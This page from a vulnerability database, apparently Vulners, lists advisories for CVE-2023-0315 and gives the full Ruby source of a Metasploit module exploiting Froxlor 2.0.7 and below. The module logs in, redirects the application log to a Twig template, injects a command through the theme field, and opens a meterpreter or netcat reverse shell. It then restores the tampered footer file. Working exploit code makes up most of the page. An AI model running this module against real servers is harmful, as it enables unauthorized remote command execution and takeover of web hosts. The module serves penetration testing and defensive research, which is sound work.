| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Froxlor 2.0.6 Remote Command Execution Exploit | 27 Feb 202300:00 | – | zdt | |
| Froxlor 2.0.3 Stable - Remote Code Execution Exploit | 5 Apr 202300:00 | – | zdt | |
| Exploit for Command Injection in Froxlor | 29 Jan 202321:20 | – | githubexploit | |
| CVE-2023-0315 | 16 Jan 202307:23 | – | circl | |
| Froxlor 命令注入漏洞 | 16 Jan 202300:00 | – | cnnvd | |
| CVE-2023-0315 | 16 Jan 202300:00 | – | cve | |
| CVE-2023-0315 Command Injection in froxlor/froxlor | 16 Jan 202300:00 | – | cvelist | |
| Froxlor 2.0.3 Stable - Remote Code Execution (RCE) | 5 Apr 202300:00 | – | exploitdb | |
| Froxlor 2.0.6 Remote Command Execution via Arbitrary File Write and Server Side Template Injection | 11 Jan 202301:34 | – | huntr | |
| Froxlor vulnerable to Command Injection | 16 Jan 202303:30 | – | github |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Froxlor Log Path RCE',
'Description' => %q{
Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
to any directory on the OS level which the user www-data can write without restrictions from the backend which
leads to writing a malicious Twig template that the application will render. That will lead to achieving a
remote command execution under the user www-data.
},
'Author' => [
'Askar', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://shells.systems/author/askar/'],
[ 'CVE', '2023-0315']
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Privileged' => false,
'Targets' => [
[
'Linux',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['wget'],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2023-01-29'
)
)
register_options(
[
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),
OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),
OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])
]
)
end
def login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'keep_cookies' => true,
'vars_post' => {
'loginname' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'send' => 'send',
'dologin' => ''
}
)
if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
'keep_cookies' => true
)
print_good('Successful login')
true
else
false
end
end
def check
begin
@authenticated = login
rescue InvalidRequest, InvalidResponse => e
return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
end
version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, version_url),
'keep_cookies' => true
)
if res.nil? || res.code != 200
Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
else
version = res.get_html_document.at('body/span/text()')
if version
if Rex::Version.new('2.0.7') >= Rex::Version.new(version)
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
else
Exploit::CheckCode::Safe("Non-vulnerable version found: #{version}")
end
else
Exploit::CheckCode::Unknown("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
end
end
end
def get_csrf_token(url)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, url),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless !res.nil? || res.code == 200
csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text
fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token
print_good("CSRF token is : #{csrf_token}")
csrf_token
end
def change_log_path(new_logfile)
mime = Rex::MIME::Message.new
mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')
mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')
mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')
mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')
mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')
mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')
mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')
mime.add_part('overview', nil, nil, 'form-data; name="page"')
mime.add_part('', nil, nil, 'form-data; name="action"')
mime.add_part('send', nil, nil, 'form-data; name="send"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),
'vars_get' => { 'page' => 'overview', 'part' => 'logging' },
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
if res && res.code == 200 && res.body.include?('The settings have been successfully saved')
return true
end
false
end
def execute_command(cmd, _opts = {})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
'keep_cookies' => true,
'vars_post' => {
'theme' => "{{['#{cmd}']|filter('exec')}}",
'csrf_token' => @csrf_token,
'page' => 'change_theme',
'send' => 'send',
'dosave' => ''
}
)
if res && res.code == 302 && res.headers['Location']
if res.headers['Location'] == 'admin_index.php'
print_good('Injected payload successfully')
print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
end
else
print_error('did not inject payload successfully')
end
end
def exploit
fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login
@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')
if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
else
print_error('Please enter valid target')
end
else
fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')
end
end
def on_new_session(session)
super
# Original footer.html.twig file
footer_html_twig = <<~EOF
<footer class="text-center mb-3">
<span>
<img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
{% if install_mode is not defined %}
{% if (get_setting('admin.show_version_login') == '1'
and area == 'login') or (area != 'login'
and get_setting('admin.show_version_footer') == '1') %}
{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}
{% endif %}
{% endif %}
© 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>
{% if install_mode is not defined %}
{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}
{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}
{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}
{% endif %}
</span>
{% if lng('translator') %}
<br/>
<small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>
{% endif %}
</footer>
EOF
if session.type == 'meterpreter'
print_status('Deleting tampered footer.html.twig file')
filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"
session.fs.file.rm(filename)
fd = session.fs.file.new(filename, 'wb')
print_status('Rewriting clean footer.html.twig file')
fd.write(footer_html_twig)
fd.close
else
print_status('Cleaning tampered footer.html.twig file')
# Remove all log lines added to footer.html.twig by the exploit
# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)
session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation